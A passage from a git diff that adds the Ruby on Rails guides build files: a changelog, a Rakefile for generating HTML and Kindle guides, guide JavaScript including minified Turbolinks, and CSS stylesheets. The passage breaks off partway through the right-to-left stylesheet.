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Diffstat (limited to 'guides')
153 files changed, 55302 insertions, 0 deletions
diff --git a/guides/.document b/guides/.document new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/guides/.document diff --git a/guides/CHANGELOG.md b/guides/CHANGELOG.md new file mode 100644 index 0000000000..9f95e22245 --- /dev/null +++ b/guides/CHANGELOG.md @@ -0,0 +1,10 @@ +* New section _Troubleshooting_ in the _Autoloading and Reloading Constants_ guide. + + *Xavier Noria* + +* Rails 6 requires Ruby 2.5.0 or newer. + + *Jeremy Daer*, *Kasper Timm Hansen* + + +Please check [5-2-stable](https://github.com/rails/rails/blob/5-2-stable/guides/CHANGELOG.md) for previous changes. diff --git a/guides/Rakefile b/guides/Rakefile new file mode 100644 index 0000000000..4116e6f9cc --- /dev/null +++ b/guides/Rakefile @@ -0,0 +1,91 @@ +# frozen_string_literal: true + +namespace :guides do + desc 'Generate guides (for authors), use ONLY=foo to process just "foo.md"' + task generate: "generate:html" + + # Guides are written in UTF-8, but the environment may be configured for some + # other locale, these tasks are responsible for ensuring the default external + # encoding is UTF-8. + # + # Real use cases: Generation was reported to fail on a machine configured with + # GBK (Chinese). The docs server once got misconfigured somehow and had "C", + # which broke generation too. + task :encoding do + %w(LANG LANGUAGE LC_ALL).each do |env_var| + ENV[env_var] = "en_US.UTF-8" + end + end + + namespace :generate do + desc "Generate HTML guides" + task html: :encoding do + ENV["WARNINGS"] = "1" # authors can't disable this + ruby "rails_guides.rb" + end + + desc "Generate .mobi file. The kindlegen executable must be in your PATH. You can get it for free from http://www.amazon.com/gp/feature.html?docId=1000765211" + task kindle: :encoding do + require "kindlerb" + unless Kindlerb.kindlegen_available? + abort "Please run `setupkindlerb` to install kindlegen" + end + unless /convert/.match?(`convert`) + abort "Please install ImageMagick" + end + ENV["KINDLE"] = "1" + Rake::Task["guides:generate:html"].invoke + end + end + + # Validate guides ------------------------------------------------------------------------- + desc 'Validate guides, use ONLY=foo to process just "foo.html"' + task validate: :encoding do + ruby "w3c_validator.rb" + end + + desc "Show help" + task :help do + puts <<HELP + +Guides are taken from the source directory, and the result goes into the +output directory. Assets are stored under files, and copied to output/files as +part of the generation process. + +You can generate HTML, Kindle or both formats using the `guides:generate` task. + +All of these processes are handled via rake tasks, here's a full list of them: + +#{%x[rake -T]} +Some arguments may be passed via environment variables: + + RAILS_VERSION=tag + If guides are being generated for a specific Rails version set the Git tag + here, otherwise the current SHA1 is going to be used to generate edge guides. + + ALL=1 + Force generation of all guides. + + ONLY=name + Useful if you want to generate only one or a set of guides. + + Generate only association_basics.html: + ONLY=assoc + + Separate many using commas: + ONLY=assoc,migrations + + GUIDES_LANGUAGE + Use it when you want to generate translated guides in + source/<GUIDES_LANGUAGE> folder (such as source/es) + +Examples: + $ rake guides:generate ALL=1 RAILS_VERSION=v5.1.0 + $ rake guides:generate ONLY=migrations + $ rake guides:generate:kindle + $ rake guides:generate GUIDES_LANGUAGE=es +HELP + end +end + +task default: "guides:help" diff --git a/guides/assets/images/4_0_release_notes/rails4_features.png b/guides/assets/images/4_0_release_notes/rails4_features.png Binary files differnew file mode 100644 index 0000000000..ac73f05cf7 --- /dev/null +++ b/guides/assets/images/4_0_release_notes/rails4_features.png diff --git a/guides/assets/images/association_basics/belongs_to.png b/guides/assets/images/association_basics/belongs_to.png Binary files differnew file mode 100644 index 0000000000..2b8c1d52ea --- /dev/null +++ b/guides/assets/images/association_basics/belongs_to.png diff --git a/guides/assets/images/association_basics/habtm.png b/guides/assets/images/association_basics/habtm.png Binary files differnew file mode 100644 index 0000000000..7e508cc1a6 --- /dev/null +++ b/guides/assets/images/association_basics/habtm.png diff --git a/guides/assets/images/association_basics/has_many.png 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this.wrap = function(elem, wrapper) { + elem.parentNode.insertBefore(wrapper, elem); + wrapper.appendChild(elem); + } + + this.unwrap = function(elem) { + var wrapper = elem.parentNode; + wrapper.parentNode.replaceChild(elem, wrapper); + } + + this.createElement = function(tagName, className) { + var elem = document.createElement(tagName); + elem.classList.add(className); + return elem; + } + + // For old browsers + this.each = function(node, callback) { + var array = Array.prototype.slice.call(node); + for(var i = 0; i < array.length; i++) callback(array[i]); + } + + // Viewable on local + if (window.location.protocol === "file:") Turbolinks.supported = false; + + document.addEventListener("turbolinks:load", function() { + window.SyntaxHighlighter.highlight({ "auto-links": false }); + + var guidesMenu = document.getElementById("guidesMenu"); + var guides = document.getElementById("guides"); + + guidesMenu.addEventListener("click", function(e) { + e.preventDefault(); + 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t.isPrefixedBy(this.view.getRootLocation())&&t.isHTML()},r.prototype.getCurrentRestorationData=function(){return this.getRestorationDataForIdentifier(this.restorationIdentifier)},r.prototype.getRestorationDataForIdentifier=function(t){var e;return null!=(e=this.restorationData)[t]?e[t]:e[t]={}},r}()}.call(this),function(){!function(){var t,e;if((t=e=document.currentScript)&&!e.hasAttribute("data-turbolinks-suppress-warning"))for(;t=t.parentNode;)if(t===document.body)return console.warn("You are loading Turbolinks from a <script> element inside the <body> element. This is probably not what you meant to do!\n\nLoad your application\u2019s JavaScript bundle inside the <head> element instead. <script> elements in <body> are evaluated with each page change.\n\nFor more information, see: https://github.com/turbolinks/turbolinks#working-with-script-elements\n\n\u2014\u2014\nSuppress this warning by adding a `data-turbolinks-suppress-warning` attribute to: %s",e.outerHTML)}()}.call(this),function(){var t,r,n;e.start=function(){return r()?(null==e.controller&&(e.controller=t()),e.controller.start()):void 0},r=function(){return null==window.Turbolinks&&(window.Turbolinks=e),n()},t=function(){var t;return t=new e.Controller,t.adapter=new e.BrowserAdapter(t),t},n=function(){return window.Turbolinks===e},n()&&e.start()}.call(this)}).call(this),"object"==typeof module&&module.exports?module.exports=e:"function"==typeof define&&define.amd&&define(e)}).call(this); diff --git a/guides/assets/stylesheets/fixes.css b/guides/assets/stylesheets/fixes.css new file mode 100644 index 0000000000..bf86b29efa --- /dev/null +++ b/guides/assets/stylesheets/fixes.css @@ -0,0 +1,16 @@ +/* + Fix a rendering issue affecting WebKits on Mac. + See https://github.com/lifo/docrails/issues#issue/16 for more information. +*/ +.syntaxhighlighter a, +.syntaxhighlighter div, +.syntaxhighlighter code, +.syntaxhighlighter table, +.syntaxhighlighter table td, +.syntaxhighlighter table tr, +.syntaxhighlighter table tbody, +.syntaxhighlighter table thead, +.syntaxhighlighter table caption, +.syntaxhighlighter textarea { + line-height: 1.25em !important; +} diff --git a/guides/assets/stylesheets/kindle.css b/guides/assets/stylesheets/kindle.css new file mode 100644 index 0000000000..b26cd1786a --- /dev/null +++ b/guides/assets/stylesheets/kindle.css @@ -0,0 +1,11 @@ +p { text-indent: 0; } + +p, H1, H2, H3, H4, H5, H6, H7, H8, table { margin-top: 1em;} + +.pagebreak { page-break-before: always; } +#toc H3 { + text-indent: 1em; +} +#toc .document { + text-indent: 2em; +}
\ No newline at end of file diff --git a/guides/assets/stylesheets/main.css b/guides/assets/stylesheets/main.css new file mode 100644 index 0000000000..bdc3e21977 --- /dev/null +++ b/guides/assets/stylesheets/main.css @@ -0,0 +1,761 @@ +/* Guides.rubyonrails.org */ +/* Main.css */ +/* Created January 30, 2009 */ +/* Modified February 8, 2009 +--------------------------------------- */ + +/* General +--------------------------------------- */ + +.left {float: left; margin-right: 1em;} +.right {float: right; margin-left: 1em;} +@media screen and (max-width: 480px) { + .left, .right { float: none; } +} +.small {font-size: smaller;} +.large {font-size: larger;} +.hide {display: none;} + +ul, ol { margin: 0 1.5em 1.5em 1.5em; } + +ul { list-style-type: disc; } +ol { list-style-type: decimal; } + +dl { margin: 0 0 1.5em 0; } +dl dt { font-weight: bold; } +dd { margin-left: 1.5em;} + +pre, code { + font-size: 1em; + font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace; + line-height: 1.5; + margin: 1.5em 0; + overflow: auto; + color: #222; +} + +p code { + background: #eee; + border-radius: 2px; + padding: 1px 3px; +} + +pre, tt, code { + white-space: pre-wrap; /* css-3 */ + white-space: -moz-pre-wrap !important; /* Mozilla, since 1999 */ + white-space: -pre-wrap; /* Opera 4-6 */ + white-space: -o-pre-wrap; /* Opera 7 */ + word-wrap: break-word; /* Internet Explorer 5.5+ */ +} + +abbr, acronym { border-bottom: 1px dotted #666; } +address { margin: 0 0 1.5em; font-style: italic; } +del { color:#666; } + +blockquote { margin: 1.5em; color: #666; font-style: italic; } +strong { font-weight: bold; } +em, dfn { font-style: italic; } +dfn { font-weight: bold; } +sup, sub { line-height: 0; } +p {margin: 0 0 1.5em;} + +label { font-weight: bold; } +fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; } +legend { font-weight: bold; font-size:1.2em; } + +input.text, input.title, +textarea, select { + margin:0.5em 0; + border:1px solid #bbb; +} + +table { + margin: 0 0 1.5em; + border: 2px solid #CCC; + background: #FFF; + border-collapse: collapse; +} + +table th, table td { + padding: 9px 10px; + border: 1px solid #CCC; + border-collapse: collapse; +} + +table th { + border-bottom: 2px solid #CCC; + background: #EEE; + font-weight: bold; +} + +img { + max-width: 100%; +} + + +/* Structure and Layout +--------------------------------------- */ + +body { + text-align: center; + font-family: Helvetica, Arial, sans-serif; + font-size: 87.5%; + line-height: 1.5em; + background: #fff; + color: #999; +} + +.wrapper { + text-align: left; + margin: 0 auto; + max-width: 960px; + padding: 0 1em; +} + +.red-button { + display: inline-block; + border-top: 1px solid rgba(255,255,255,.5); + background: #751913; + background: -webkit-gradient(linear, left top, left bottom, from(#c52f24), to(#751913)); + background: -webkit-linear-gradient(top, #c52f24, #751913); + background: -moz-linear-gradient(top, #c52f24, #751913); + background: -ms-linear-gradient(top, #c52f24, #751913); + background: -o-linear-gradient(top, #c52f24, #751913); + padding: 9px 18px; + -webkit-border-radius: 11px; + -moz-border-radius: 11px; + border-radius: 11px; + -webkit-box-shadow: rgba(0,0,0,1) 0 1px 0; + -moz-box-shadow: rgba(0,0,0,1) 0 1px 0; + box-shadow: rgba(0,0,0,1) 0 1px 0; + text-shadow: rgba(0,0,0,.4) 0 1px 0; + color: white; + font-size: 15px; + font-family: Helvetica, Arial, Sans-Serif; + text-decoration: none; + vertical-align: middle; + cursor: pointer; +} +.red-button:active { + border-top: none; + padding-top: 10px; + background: -webkit-gradient(linear, left top, left bottom, from(#751913), to(#c52f24)); + background: -webkit-linear-gradient(top, #751913, #c52f24); + background: -moz-linear-gradient(top, #751913, #c52f24); + background: -ms-linear-gradient(top, #751913, #c52f24); + background: -o-linear-gradient(top, #751913, #c52f24); +} + +#topNav { + padding: 1em 0; + color: #565656; + background: #222; +} + +.s-hidden { + display: none; +} + +@media screen and (min-width: 1025px) { + .more-info-button { + display: none; + } + .more-info-links { + list-style: none; + display: inline; + margin: 0; + } + + .more-info { + display: inline-block; + } + .more-info:after { + content: " |"; + } + + .more-info:last-child:after { + content: ""; + } +} + +@media screen and (max-width: 1024px) { + #topNav .wrapper { text-align: center; } + .more-info-button { + position: relative; + z-index: 25; + } + + .more-info-label { + display: none; + } + + .more-info-container { + position: absolute; + top: .5em; + z-index: 20; + margin: 0 auto; + left: 0; + right: 0; + width: 20em; + } + + .more-info-links { + display: block; + list-style: none; + background-color: #c52f24; + border-radius: 5px; + padding-top: 5.25em; + border: 1px #980905 solid; + } + .more-info-links.s-hidden { + display: none; + } + .more-info { + padding: .75em; + border-top: 1px #980905 solid; + } + .more-info a, .more-info a:link, .more-info a:visited { + display: block; + color: white; + width: 100%; + height: 100%; + text-decoration: none; + text-transform: uppercase; + } +} + +#header { + background: #c52f24 url(../images/header_tile.gif) repeat-x; + color: #FFF; + padding: 1.5em 0; + z-index: 99; +} + +#feature { + background: #d5e9f6 url(../images/feature_tile.gif) repeat-x; + color: #333; + padding: 0.5em 0 1.5em; +} + +#container { + color: #333; + padding: 0.5em 0 1.5em 0; +} + +#mainCol { + max-width: 630px; + margin-left: 2em; +} + +#subCol { + position: absolute; + z-index: 0; + top: 21px; + right: 0; + background: #FFF; + padding: 1em 1.5em 1em 1.25em; + width: 17em; + font-size: 0.9285em; + line-height: 1.3846em; + margin-right: 1em; +} + + +@media screen and (max-width: 800px) { + #subCol { + position: static; + width: inherit; + margin-left: -1em; + margin-right: 0; + padding-right: 1.25em; + } +} + +#footer { + padding: 2em 0; + background: #222 url(../images/footer_tile.gif) repeat-x; +} +#footer .wrapper { + padding-left: 1em; + max-width: 960px; +} + +#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; max-width: 960px;} +#feature .wrapper {max-width: 640px; padding-right: 23em; position: relative; z-index: 0;} + +@media screen and (max-width: 960px) { + #container .wrapper { padding-right: 23em; } +} + +@media screen and (max-width: 800px) { + #feature .wrapper, #container .wrapper { padding-right: 0; } +} + +/* Links +--------------------------------------- */ + +a, a:link, a:visited { + color: #ee3f3f; + text-decoration: underline; +} + +#mainCol a, #subCol a, #feature a {color: #980905;} +#mainCol a code, #subCol a code, #feature a code {color: #980905;} + +#mainCol a.anchorlink, #mainCol a.anchorlink code {color: #333;} +#mainCol a.anchorlink { text-decoration: none; } +#mainCol a.anchorlink:hover { text-decoration: underline; } + +/* Navigation +--------------------------------------- */ + +.nav { + margin: 0; + padding: 0; + list-style: none; + float: right; + margin-top: 1.5em; + font-size: 1.2857em; +} + +.nav .nav-item {color: #FFF; text-decoration: none;} +.nav .nav-item:hover {text-decoration: underline;} + +.guides-index-large, .guides-index-small .guides-index-item { + padding: 0.5em 1.5em; + border-radius: 1em; + -webkit-border-radius: 1em; + -moz-border-radius: 1em; + background: #980905; + position: relative; + color: white; +} + +.guides-index .guides-index-item { + background: #980905 url(../images/nav_arrow.gif) no-repeat right top; + padding-right: 1em; + position: relative; + z-index: 15; + padding-bottom: 0.125em; +} + +.guides-index:hover .guides-index-item, .guides-index .guides-index-item:hover { + background-position: right -81px; + text-decoration: underline !important; +} + +@media screen and (min-width: 481px) { + .nav { + float: right; + margin-top: 1.5em; + font-size: 1.2857em; + } + .nav>li { + display: inline; + margin-left: 0.5em; + } + .guides-index.guides-index-small { + display: none; + } +} + +@media screen and (max-width: 480px) { + .nav { + float: none; + width: 100%; + text-align: center; + } + .nav .nav-item { + display: block; + margin: 0; + width: 100%; + background-color: #980905; + border: solid 1px #620c04; + border-top: 0; + padding: 15px 0; + text-align: center; + } + .nav .nav-item, .nav-item.guides-index-item { + text-transform: uppercase; + } + .nav .nav-item:first-child, .nav-item.guides-index-small { + border-top: solid 1px #620c04; + } + .guides-index.guides-index-small { + display: block; + margin-top: 1.5em; + } + .guides-index.guides-index-large { + display: none; + } + .guides-index-small .guides-index-item { + font: inherit; + padding-left: .75em; + font-size: .95em; + background-position: 96% 16px; + -webkit-appearance: none; + } + .guides-index-small .guides-index-item:hover{ + background-position: 96% -65px; + } +} + +#guides { + width: 37em; + display: block; + background: #980905; + border-radius: 1em; + color: #f1938c; + padding: 1.5em 2em; + position: absolute; + z-index: 10; + top: -0.25em; + right: 0; + padding-top: 2em; +} + +#guides.visible { + display: block !important; +} + +.guides-section dt, .guides-section dd { + font-weight: normal; + font-size: 0.722em; + margin: 0; + padding: 0; +} +.guides-section dt { + margin: 0.5em 0 0; + padding:0; +} +#guides a { + background: none !important; + color: #FFF; + text-decoration: none; +} +#guides a:hover { + text-decoration: underline; +} +.guides-section-container { + display: flex; + flex-direction: column; + flex-wrap: wrap; + width: 100%; + max-height: 35em; +} + +.guides-section { + min-width: 5em; + margin: 0 2em 0.5em 0; + flex: auto; + max-width: 12em; +} + +.guides-section dd { + line-height: 1.3; + margin-bottom: 0.5em; +} + +#guides hr { + display: block; + border: none; + height: 1px; + color: #f1938c; + background: #f1938c; +} + +/* Headings +--------------------------------------- */ + +h1 { + font-size: 2.5em; + line-height: 1em; + margin: 0.6em 0 .2em; + font-weight: bold; +} + +h2 { + font-size: 2.1428em; + line-height: 1em; + margin: 0.7em 0 .2333em; + font-weight: bold; +} + +@media screen and (max-width: 480px) { + h2 { + font-size: 1.45em; + } +} + +h3 { + font-size: 1.7142em; + line-height: 1.286em; + margin: 0.875em 0 0.2916em; + font-weight: bold; +} + +@media screen and (max-width: 480px) { + h3 { + font-size: 1.45em; + } +} + +h4 { + font-size: 1.2857em; + line-height: 1.2em; + margin: 1.6667em 0 .3887em; + font-weight: bold; +} + +h5 { + font-size: 1em; + line-height: 1.5em; + margin: 1em 0 .5em; + font-weight: bold; +} + +h6 { + font-size: 1em; + line-height: 1.5em; + margin: 1em 0 .5em; + font-weight: normal; +} + +.section { + padding-bottom: 0.25em; + border-bottom: 1px solid #999; +} + +/* Content +--------------------------------------- */ + +.pic { + margin: 0 2em 2em 0; +} + +#topNav strong {color: #999; margin-right: 0.5em;} +#topNav strong a {color: #FFF;} + +#header h1 { + float: left; + background: url(../images/rails_guides_logo_1x.png) no-repeat; + width: 297px; + text-indent: -9999em; + margin: 0; + padding: 0; +} + +@media +only screen and (-webkit-min-device-pixel-ratio: 2), +only screen and ( min--moz-device-pixel-ratio: 2), +only screen and ( -o-min-device-pixel-ratio: 2/1), +only screen and ( min-device-pixel-ratio: 2), +only screen and ( min-resolution: 192dpi), +only screen and ( min-resolution: 2dppx) { + #header h1 { + background: url(../images/rails_guides_logo_2x.png) no-repeat; + background-size: 160%; + } +} + +@media screen and (max-width: 480px) { + #header h1 { + float: none; + } +} + +#header h1 a { + text-decoration: none; + display: block; + height: 77px; +} + +#feature p { + font-size: 1.2857em; + margin-bottom: 0.75em; +} + +@media screen and (max-width: 480px) { + #feature p { + font-size: 1em; + } +} + +#feature ul {margin-left: 0;} +#feature ul li { + list-style: none; + background: url(../images/check_bullet.gif) no-repeat left 0.5em; + padding: 0.5em 1.75em 0.5em 1.75em; + font-size: 1.1428em; + font-weight: bold; +} + +#mainCol dd, #subCol dd { + padding: 0.25em 0 1em; + border-bottom: 1px solid #CCC; + margin-bottom: 1em; + margin-left: 0; + /*padding-left: 28px;*/ + padding-left: 0; +} + +#mainCol dt, #subCol dt { + font-size: 1.2857em; + padding: 0.125em 0 0.25em 0; + margin-bottom: 0; +} + +@media screen and (max-width: 480px) { + #mainCol dt, #subCol dt { + font-size: 1em; + } +} + +#mainCol dd.work-in-progress, #subCol dd.work-in-progress { + background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top; + border: none; + padding: 1.25em 1em 1.25em 48px; + margin-left: 0; + margin-top: 0.25em; +} + +#mainCol dd.kindle, #subCol dd.kindle { + background: #d5e9f6 url(../images/tab_info.gif) no-repeat left top; + border: none; + padding: 1.25em 1em 1.25em 48px; + margin-left: 0; + margin-top: 0.25em; +} + +#mainCol div.warning, #subCol dd.warning { + background: #f9d9d8 url(../images/tab_red.gif) no-repeat left top; + border: none; + padding: 1.25em 1.25em 0.25em 48px; + margin-left: 0; + margin-top: 0.25em; +} + +#subCol .chapters {color: #980905;} +#subCol .chapters a {font-weight: bold;} +#subCol .chapters ul a {font-weight: normal;} +#subCol .chapters li {margin-bottom: 0.75em;} +#subCol h3.chapter {margin-top: 0.25em;} +#subCol h3.chapter img {vertical-align: text-bottom;} +#subCol .chapters ul {margin-left: 0; margin-top: 0.5em;} +#subCol .chapters ul li { + list-style: none; + padding: 0 0 0 1em; + background: url(../images/bullet.gif) no-repeat left 0.45em; + margin-left: 0; + font-size: 1em; + font-weight: normal; +} + +#subCol li ul, li ol { margin:0 1.5em; } + +div.code_container { + background: #EEE url(../images/tab_grey.gif) no-repeat left top; + padding: 0.25em 1em 0.5em 48px; +} + +.note { + background: #fff9d8 url(../images/tab_note.gif) no-repeat left top; + border: none; + padding: 1em 1em 0.25em 48px; + margin: 0.25em 0 1.5em 0; +} + +.info { + background: #d5e9f6 url(../images/tab_info.gif) no-repeat left top; + border: none; + padding: 1em 1em 0.25em 48px; + margin: 0.25em 0 1.5em 0; +} + +#mainCol div.todo { + background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top; + border: none; + padding: 1em 1em 0.25em 48px; + margin: 0.25em 0 1.5em 0; +} + +.note code, .info code, .todo code { + background: #fff; +} + +#mainCol ul li { + list-style:none; + background: url(../images/grey_bullet.gif) no-repeat left 0.5em; + padding-left: 1em; + margin-left: 0; +} + +#subCol .content { + font-size: 0.7857em; + line-height: 1.5em; +} + +#subCol .content li { + font-weight: normal; + background: none; + padding: 0 0 1em; + font-size: 1.1667em; +} + +/* Clearing +--------------------------------------- */ + +.clearfix:after { + content: "."; + display: block; + height: 0; + clear: both; + visibility: hidden; +} + +* html .clearfix {height: 1%;} +.clearfix {display: block;} + +/* Same bottom margin for special boxes than for regular paragraphs, this way +intermediate whitespace looks uniform. */ +div.code_container, div.important, div.caution, div.warning, div.note, div.info { + margin-bottom: 1.5em; +} + +/* Remove bottom margin of paragraphs in special boxes, otherwise they get a +spurious blank area below with the box background. */ +div.important p, div.caution p, div.warning p, div.note p, div.info p { + margin-bottom: 1em; +} + +/* Edge Badge +--------------------------------------- */ + +#edge-badge { + position: fixed; + right: 0px; + top: 0px; + z-index: 100; + border: none; +} + +/* Foundation v2.1.4 http://foundation.zurb.com */ +/* Artfully masterminded by ZURB */ + +/* Mobile */ +@media only screen and (max-width: 767px) { + table.responsive { margin-bottom: 0; } + + .pinned { position: absolute; left: 0; top: 0; background: #fff; width: 35%; overflow: hidden; overflow-x: scroll; border-right: 1px solid #ccc; border-left: 1px solid #ccc; } + .pinned table { border-right: none; border-left: none; width: 100%; } + .pinned table th, .pinned table td { white-space: nowrap; } + .pinned td:last-child { border-bottom: 0; } + + div.table-wrapper { position: relative; margin-bottom: 20px; overflow: hidden; border-right: 1px solid #ccc; } + div.table-wrapper div.scrollable table { margin-left: 35%; } + div.table-wrapper div.scrollable { overflow: scroll; overflow-y: hidden; } + + table.responsive td, table.responsive th { position: relative; white-space: nowrap; overflow: hidden; } + table.responsive th:first-child, table.responsive td:first-child, table.responsive td:first-child, table.responsive.pinned td { display: none; } + +} diff --git a/guides/assets/stylesheets/main.rtl.css b/guides/assets/stylesheets/main.rtl.css new file mode 100644 index 0000000000..ea31d6017c --- /dev/null +++ b/guides/assets/stylesheets/main.rtl.css @@ -0,0 +1,762 @@ +/* Guides.rubyonrails.org */ +/* Main.css */ +/* Created January 30, 2009 */ +/* Modified February 8, 2009 +--------------------------------------- */ + +/* General +--------------------------------------- */ + +.right {float: right; margin-left: 1em;} +.left {float: left; margin-right: 1em;} +@media screen and (max-width: 480px) { + .right, .left { float: none; } +} +.small {font-size: smaller;} +.large {font-size: larger;} +.hide {display: none;} + +ul, ol { margin: 0 1.5em 1.5em 1.5em; } + +ul { list-style-type: disc; } +ol { list-style-type: decimal; } + +dl { margin: 0 0 1.5em 0; } +dl dt { font-weight: bold; } +dd { margin-right: 1.5em;} + +pre, code { + font-size: 1em; + font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace; + line-height: 1.5; + margin: 1.5em 0; + overflow: auto; + color: #222; +} + +p code { + background: #eee; + border-radius: 2px; + padding: 1px 3px; +} + +pre, tt, code { + white-space: pre-wrap; /* css-3 */ + white-space: -moz-pre-wrap !important; /* Mozilla, since 1999 */ + white-space: -pre-wrap; /* Opera 4-6 */ + white-space: -o-pre-wrap; /* Opera 7 */ + word-wrap: break-word; /* Internet Explorer 5.5+ */ +} + +abbr, acronym { border-bottom: 1px dotted #666; } +address { margin: 0 0 1.5em; font-style: italic; } +del { color:#666; } + +blockquote { margin: 1.5em; color: #666; font-style: italic; } +strong { font-weight: bold; } +em, dfn { font-style: italic; } +dfn { font-weight: bold; } +sup, sub { line-height: 0; } +p {margin: 0 0 1.5em;} + +label { font-weight: bold; } +fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; } +legend { font-weight: bold; font-size:1.2em; } + +input.text, input.title, +textarea, select { + margin:0.5em 0; + border:1px solid #bbb; +} + +table { + margin: 0 0 1.5em; + border: 2px solid #CCC; + background: #FFF; + border-collapse: collapse; +} + +table th, table td { + padding: 9px 10px; + border: 1px solid #CCC; + border-collapse: collapse; +} + +table th { + border-bottom: 2px solid #CCC; + background: #EEE; + font-weight: bold; +} + +img { + max-width: 100%; +} + + +/* Structure and Layout +--------------------------------------- */ + +body { + text-align: center; + font-family: Helvetica, Arial, sans-serif; + font-size: 87.5%; + line-height: 1.5em; + background: #fff; + color: #999; + direction: rtl; +} + +.wrapper { + text-align: right; + margin: 0 auto; + max-width: 960px; + padding: 0 1em; +} + +.red-button { + display: inline-block; + border-top: 1px solid rgba(255,255,255,.5); + background: #751913; + background: -webkit-gradient(linear, right top, right bottom, from(#c52f24), to(#751913)); + background: -webkit-linear-gradient(top, #c52f24, #751913); + background: -moz-linear-gradient(top, #c52f24, #751913); + background: -ms-linear-gradient(top, #c52f24, #751913); + background: -o-linear-gradient(top, #c52f24, #751913); + padding: 9px 18px; + -webkit-border-radius: 11px; + -moz-border-radius: 11px; + border-radius: 11px; + -webkit-box-shadow: rgba(0,0,0,1) 0 1px 0; + -moz-box-shadow: rgba(0,0,0,1) 0 1px 0; + box-shadow: rgba(0,0,0,1) 0 1px 0; + text-shadow: rgba(0,0,0,.4) 0 1px 0; + color: white; + font-size: 15px; + font-family: Helvetica, Arial, Sans-Serif; + text-decoration: none; + vertical-align: middle; + cursor: pointer; +} +.red-button:active { + border-top: none; + padding-top: 10px; + background: -webkit-gradient(linear, right top, right bottom, from(#751913), to(#c52f24)); + background: -webkit-linear-gradient(top, #751913, #c52f24); + background: -moz-linear-gradient(top, #751913, #c52f24); + background: -ms-linear-gradient(top, #751913, #c52f24); + background: -o-linear-gradient(top, #751913, #c52f24); +} + +#topNav { + padding: 1em 0; + color: #565656; + background: #222; +} + +.s-hidden { + display: none; +} + +@media screen and (min-width: 1025px) { + .more-info-button { + display: none; + } + .more-info-links { + list-style: none; + display: inline; + margin: 0; + } + + .more-info { + display: inline-block; + } + .more-info:after { + content: " |"; + } + + .more-info:last-child:after { + content: ""; + } +} + +@media screen and (max-width: 1024px) { + #topNav .wrapper { text-align: center; } + .more-info-button { + position: relative; + z-index: 25; + } + + .more-info-label { + display: none; + } + + .more-info-container { + position: absolute; + top: .5em; + z-index: 20; + margin: 0 auto; + right: 0; + left: 0; + width: 20em; + } + + .more-info-links { + display: block; + list-style: none; + background-color: #c52f24; + border-radius: 5px; + padding-top: 5.25em; + border: 1px #980905 solid; + } + .more-info-links.s-hidden { + display: none; + } + .more-info { + padding: .75em; + border-top: 1px #980905 solid; + } + .more-info a, .more-info a:link, .more-info a:visited { + display: block; + color: white; + width: 100%; + height: 100%; + text-decoration: none; + text-transform: uppercase; + } +} + +#header { + background: #c52f24 url(../images/header_tile.gif) repeat-x; + color: #FFF; + padding: 1.5em 0; + z-index: 99; +} + +#feature { + background: #d5e9f6 url(../images/feature_tile.gif) repeat-x; + color: #333; + padding: 0.5em 0 1.5em; +} + +#container { + color: #333; + padding: 0.5em 0 1.5em 0; +} + +#mainCol { + max-width: 630px; + margin-right: 2em; +} + +#subCol { + position: absolute; + z-index: 0; + top: 21px; + left: 0; + background: #FFF; + padding: 1em 1.5em 1em 1.25em; + width: 17em; + font-size: 0.9285em; + line-height: 1.3846em; + margin-left: 1em; +} + + +@media screen and (max-width: 800px) { + #subCol { + position: static; + width: inherit; + margin-right: -1em; + margin-left: 0; + padding-left: 1.25em; + } +} + +#footer { + padding: 2em 0; + background: #222 url(../images/footer_tile.gif) repeat-x; +} +#footer .wrapper { + padding-right: 1em; + max-width: 960px; +} + +#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-right: 1em; max-width: 960px;} +#feature .wrapper {max-width: 640px; padding-left: 23em; position: relative; z-index: 0;} + +@media screen and (max-width: 960px) { + #container .wrapper { padding-left: 23em; } +} + +@media screen and (max-width: 800px) { + #feature .wrapper, #container .wrapper { padding-left: 0; } +} + +/* Links +--------------------------------------- */ + +a, a:link, a:visited { + color: #ee3f3f; + text-decoration: underline; +} + +#mainCol a, #subCol a, #feature a {color: #980905;} +#mainCol a code, #subCol a code, #feature a code {color: #980905;} + +#mainCol a.anchorlink, #mainCol a.anchorlink code {color: #333;} +#mainCol a.anchorlink { text-decoration: none; } +#mainCol a.anchorlink:hover { text-decoration: underline; } + +/* Navigation +--------------------------------------- */ + +.nav { + margin: 0; + padding: 0; + list-style: none; + float: left; + margin-top: 1.5em; + font-size: 1.2857em; +} + +.nav .nav-item {color: #FFF; text-decoration: none;} +.nav .nav-item:hover {text-decoration: underline;} + +.guides-index-large, .guides-index-small .guides-index-item { + padding: 0.5em 1.5em; + border-radius: 1em; + -webkit-border-radius: 1em; + -moz-border-radius: 1em; + background: #980905; + position: relative; + color: white; +} + +.guides-index .guides-index-item { + background: #980905 url(../images/nav_arrow.gif) no-repeat left top; + padding-left: 1em; + position: relative; + z-index: 15; + padding-bottom: 0.125em; +} + +.guides-index:hover .guides-index-item, .guides-index .guides-index-item:hover { + background-position: left -81px; + text-decoration: underline !important; +} + +@media screen and (min-width: 481px) { + .nav { + float: left; + margin-top: 1.5em; + font-size: 1.2857em; + } + .nav>li { + display: inline; + margin-right: 0.5em; + } + .guides-index.guides-index-small { + display: none; + } +} + +@media screen and (max-width: 480px) { + .nav { + float: none; + width: 100%; + text-align: center; + } + .nav .nav-item { + display: block; + margin: 0; + width: 100%; + background-color: #980905; + border: solid 1px #620c04; + border-top: 0; + padding: 15px 0; + text-align: center; + } + .nav .nav-item, .nav-item.guides-index-item { + text-transform: uppercase; + } + .nav .nav-item:first-child, .nav-item.guides-index-small { + border-top: solid 1px #620c04; + } + .guides-index.guides-index-small { + display: block; + margin-top: 1.5em; + } + .guides-index.guides-index-large { + display: none; + } + .guides-index-small .guides-index-item { + font: inherit; + padding-right: .75em; + font-size: .95em; + background-position: 96% 16px; + -webkit-appearance: none; + } + .guides-index-small .guides-index-item:hover{ + background-position: 96% 